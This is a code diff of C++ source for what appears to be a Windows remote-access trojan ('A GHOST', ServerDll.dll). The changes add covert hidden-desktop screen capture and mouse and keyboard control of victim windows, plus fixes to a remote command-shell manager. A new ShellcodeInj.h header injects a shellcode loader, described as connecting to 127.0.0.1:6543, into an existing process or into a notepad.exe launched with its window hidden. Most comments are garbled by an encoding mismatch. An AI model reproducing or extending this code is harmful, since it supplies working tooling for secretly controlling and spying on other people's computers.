m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
} }
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{ {
CScreenManager *This = (CScreenManager *)lParam; CScreenManager *This = (CScreenManager *)lParam;
This->InitScreenSpy();
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB> This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -285,6 +394,12 @@ VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength); m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
} }
std::string GetTitle(HWND hWnd) {
char title[256]; // Ԥ<><D4A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{ {
int msgSize = sizeof(MSG64); int msgSize = sizeof(MSG64);
@@ -301,6 +416,210 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
BYTE* ptr = szBuffer; BYTE* ptr = szBuffer;
MSG32 msg32; MSG32 msg32;
MSG64 msg64; MSG64 msg64;
if (g_hDesk) {
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char szClass[256];
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// <20><>ͨ<EFBFBD><CDA8><EFBFBD>ڵ<EFBFBD><DAB5>Ҽ<EFBFBD><D2BC>˵<EFBFBD>
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// <20><><EFBFBD>ӣ<EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD><CCB0><EFBFBD>Shift+F10<31><30><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// <20>رմ<D8B1><D5B4><EFBFBD>
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// <20><>С<EFBFBD><D0A1>
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // ģ<>ʼ<E2BFAA><CABC>ť<EFBFBD><C5A5><EFBFBD><EFBFBD>
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
return;
}
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
{ {
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr : MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :

View File

@@ -13,6 +13,8 @@
#include "ScreenSpy.h" #include "ScreenSpy.h"
#include "ScreenCapture.h" #include "ScreenCapture.h"
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
class IOCPClient; class IOCPClient;
class CScreenManager : public CManager class CScreenManager : public CManager
@@ -22,6 +24,7 @@ public:
virtual ~CScreenManager(); virtual ~CScreenManager();
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
void InitScreenSpy();
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID SendBitMapInfo(); VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
@@ -32,10 +35,23 @@ public:
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
INT_PTR m_ptrUser;
HDESK g_hDesk;
std::string m_DesktopID;
BOOL m_bIsWorking; BOOL m_bIsWorking;
BOOL m_bIsBlockInput; BOOL m_bIsBlockInput;
VOID SendClientClipboard(); VOID SendClientClipboard();
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // <20><><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD><D2BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
POINT m_rclickPoint; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HWND m_rclickWnd; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>
}; };
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)

View File

@@ -11,10 +11,10 @@
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo) CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop) :
ScreenCapture(ulbiBitCount, algo)
{ {
m_GOP = gop; m_GOP = gop;
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
m_BitmapInfor_Full = new BITMAPINFO(); m_BitmapInfor_Full = new BITMAPINFO();
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
@@ -28,22 +28,23 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(a
BitmapInforHeader->biSizeImage = BitmapInforHeader->biSizeImage =
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight; ((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
m_hDeskTopWnd = GetDesktopWindow(); m_hDeskTopDC = GetDC(NULL);
m_hFullDC = GetDC(m_hDeskTopWnd);
m_BitmapData_Full = NULL; m_BitmapData_Full = NULL;
m_hFullMemDC = CreateCompatibleDC(m_hFullDC); m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC);
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle); ::SelectObject(m_hFullMemDC, m_BitmapHandle);
m_FirstBuffer = (LPBYTE)m_BitmapData_Full; m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
m_DiffBitmapData_Full = NULL; m_DiffBitmapData_Full = NULL;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC); m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC);
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle); ::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
m_RectBufferOffset = 0; m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
m_bVirtualPaint = vDesk;
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
} }
@@ -55,7 +56,7 @@ CScreenSpy::~CScreenSpy()
m_BitmapInfor_Full = NULL; m_BitmapInfor_Full = NULL;
} }
ReleaseDC(m_hDeskTopWnd, m_hFullDC); ReleaseDC(NULL, m_hDeskTopDC);
if (m_hFullMemDC!=NULL) if (m_hFullMemDC!=NULL)
{ {
@@ -86,15 +87,11 @@ CScreenSpy::~CScreenSpy()
delete[] m_RectBuffer; delete[] m_RectBuffer;
m_RectBuffer = NULL; m_RectBuffer = NULL;
} }
m_RectBufferOffset = 0;
} }
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
{ {
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD><EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD> ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
m_RectBuffer[0] = TOKEN_FIRSTSCREEN; m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage); memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
if (m_bAlgorithm == ALGORITHM_GRAY) { if (m_bAlgorithm == ALGORITHM_GRAY) {
@@ -108,6 +105,13 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{ {
if (m_bVirtualPaint){
int n = 0;
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n);
}
return;
}
AUTO_TICK(70); AUTO_TICK(70);
#if COPY_ALL #if COPY_ALL
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY); BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);

View File

@@ -14,24 +14,76 @@
#include "ScreenCapture.h" #include "ScreenCapture.h"
class EnumHwndsPrintData {
public:
EnumHwndsPrintData() {
memset(this, 0, sizeof(EnumHwndsPrintData));
}
void Create(HDC desktop, int _x, int _y, int w, int h) {
x = _x;
y = _y;
width = w;
height = h;
hDcWindow = CreateCompatibleDC(desktop);
hBmpWindow = CreateCompatibleBitmap(desktop, w, h);
}
EnumHwndsPrintData& SetScreenDC(HDC dc) {
hDcScreen = dc;
return *this;
}
~EnumHwndsPrintData() {
if (hDcWindow) DeleteDC(hDcWindow);
hDcWindow = nullptr;
if (hBmpWindow)DeleteObject(hBmpWindow);
hBmpWindow = nullptr;
}
HDC GetWindowDC() const {
return hDcWindow;
}
HDC GetScreenDC() const {
return hDcScreen;
}
HBITMAP GetWindowBmp() const {
return hBmpWindow;
}
int X() const {
return x;
}
int Y() const {
return y;
}
int Width()const {
return width;
}
int Height()const {
return height;
}
private:
HDC hDcWindow;
HDC hDcScreen;
HBITMAP hBmpWindow;
int x;
int y;
int width;
int height;
};
class CScreenSpy : public ScreenCapture class CScreenSpy : public ScreenCapture
{ {
private: protected:
HWND m_hDeskTopWnd; //<2F><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD>ھ<EFBFBD><EFBFBD><EFBFBD> HDC m_hDeskTopDC; // <20><>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC HDC m_hFullMemDC; // <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HDC m_hDiffMemDC; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HBITMAP m_BitmapHandle; // <20><>һ֡λͼ
HBITMAP m_DiffBitmapHandle; // <20><><EFBFBD><EFBFBD>֡λͼ
PVOID m_BitmapData_Full; // <20><>ǰλͼ<CEBB><CDBC><EFBFBD><EFBFBD>
PVOID m_DiffBitmapData_Full; // <20><><EFBFBD><EFBFBD>λͼ<CEBB><CDBC><EFBFBD><EFBFBD>
HDC m_hFullMemDC; BOOL m_bVirtualPaint;// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HBITMAP m_BitmapHandle; EnumHwndsPrintData m_data;
PVOID m_BitmapData_Full;
HDC m_hDiffMemDC;
HBITMAP m_DiffBitmapHandle;
PVOID m_DiffBitmapData_Full;
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
public: public:
CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP); CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP);
virtual ~CScreenSpy(); virtual ~CScreenSpy();
@@ -65,21 +117,69 @@ public:
return m_BitmapInfor_Full->bmiHeader.biSizeImage; return m_BitmapInfor_Full->bmiHeader.biSizeImage;
} }
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength) static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data)
{ {
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength); if (!IsWindowVisible(hWnd) || IsIconic(hWnd))
m_RectBufferOffset += ulLength; return TRUE;
RECT rect;
if (!GetWindowRect(hWnd, &rect))
return FALSE;
HDC hDcWindow = data->GetWindowDC();
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
BOOL ret = FALSE;
if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT,
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
ret = TRUE;
}
SelectObject(hDcWindow, hOldBmp);
return ret;
}
static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param)
{
HWND currentWindow = GetTopWindow(owner);
if (currentWindow == NULL)
return -1;
if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL)
return -2;
while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL);
return 0;
}
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
{
AUTO_TICK_C(50);
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
char text[_MAX_PATH] = {};
GetWindowText(hWnd, text, sizeof(text));
Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd);
}
static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) };
static BOOL result = GetVersionExA(&versionInfo);
if (versionInfo.dwMajorVersion < 6) {
DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE);
SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED);
EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam);
}
return TRUE;
} }
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength); virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
virtual LPBYTE ScanNextScreen() { virtual LPBYTE ScanNextScreen() {
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
return (LPBYTE)m_DiffBitmapData_Full; return (LPBYTE)m_DiffBitmapData_Full;
} }
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
}; };
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_) #endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,8 FILEVERSION 1,0,1,0
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.0.8" VALUE "FileVersion", "1.0.1.0"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -32,10 +32,12 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
if(m_hReadPipeHandle != NULL) if(m_hReadPipeHandle != NULL)
{ {
CloseHandle(m_hReadPipeHandle); CloseHandle(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
} }
if(m_hWritePipeShell != NULL) if(m_hWritePipeShell != NULL)
{ {
CloseHandle(m_hWritePipeShell); CloseHandle(m_hWritePipeShell);
m_hWritePipeShell = NULL;
} }
return; return;
} }
@@ -45,10 +47,12 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
if(m_hWritePipeHandle != NULL) if(m_hWritePipeHandle != NULL)
{ {
CloseHandle(m_hWritePipeHandle); CloseHandle(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
} }
if(m_hReadPipeShell != NULL) if(m_hReadPipeShell != NULL)
{ {
CloseHandle(m_hReadPipeShell); CloseHandle(m_hReadPipeShell);
m_hReadPipeShell = NULL;
} }
return; return;
} }
@@ -82,10 +86,10 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE, if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
{ {
CloseHandle(m_hReadPipeHandle); CloseHandle(m_hReadPipeHandle); m_hReadPipeHandle = NULL;
CloseHandle(m_hWritePipeHandle); CloseHandle(m_hWritePipeHandle); m_hWritePipeHandle = NULL;
CloseHandle(m_hReadPipeShell); CloseHandle(m_hReadPipeShell); m_hReadPipeShell = NULL;
CloseHandle(m_hWritePipeShell); CloseHandle(m_hWritePipeShell); m_hWritePipeShell = NULL;
return; return;
} }
@@ -132,6 +136,8 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
LocalFree(szTotalBuffer); LocalFree(szTotalBuffer);
} }
} }
CloseHandle(This->m_hThreadRead);
This->m_hThreadRead = NULL;
Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n"); Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
return 0; return 0;
} }
@@ -187,9 +193,8 @@ CShellManager::~CShellManager()
CloseHandle(m_hWritePipeShell); CloseHandle(m_hWritePipeShell);
m_hWritePipeShell = NULL; m_hWritePipeShell = NULL;
} }
if (m_hThreadRead) while (m_hThreadRead)
{ {
CloseHandle(m_hThreadRead); Sleep(200); // wait for thread to exit
m_hThreadRead = NULL;
} }
} }

184
client/ShellcodeInj.h Normal file
View File

@@ -0,0 +1,184 @@
#pragma once
#include "StdAfx.h"
#include <string>
#include <iostream>
#include <tlhelp32.h>
// A shell code loader connect to 127.0.0.1:6543.
#include "SCLoader.cpp"
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
DWORD flags, LPSTR& outBytes, DWORD& outLength);
// A shell code injector.
class ShellcodeInj
{
public:
// Return the process id if inject succeed.
int InjectProcess(const char* processName = nullptr) {
if (processName) {
auto pid = GetProcessIdByName(processName);
if (pid ? InjectShellcode(pid, (BYTE*)Loader, sizeof(Loader)) : false)
return pid;
}
PROCESS_INFORMATION pi = {};
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; // hide the window
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return InjectShellcode(pi.dwProcessId, (BYTE*)Loader, sizeof(Loader)) ? pi.dwProcessId : 0;
}
return 0;
}
private:
// Find process id by name.
DWORD GetProcessIdByName(const std::string& procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe32 = { sizeof(pe32) };
if (Process32First(hSnap, &pe32)) {
do {
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
}
return pid;
}
// Check if the process is 64bit.
bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
{
BOOL bWow64 = FALSE;
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
if (fnIsWow64Process2)
{
USHORT processMachine = 0, nativeMachine = 0;
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine))
{
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64);
return true;
}
}
else
{
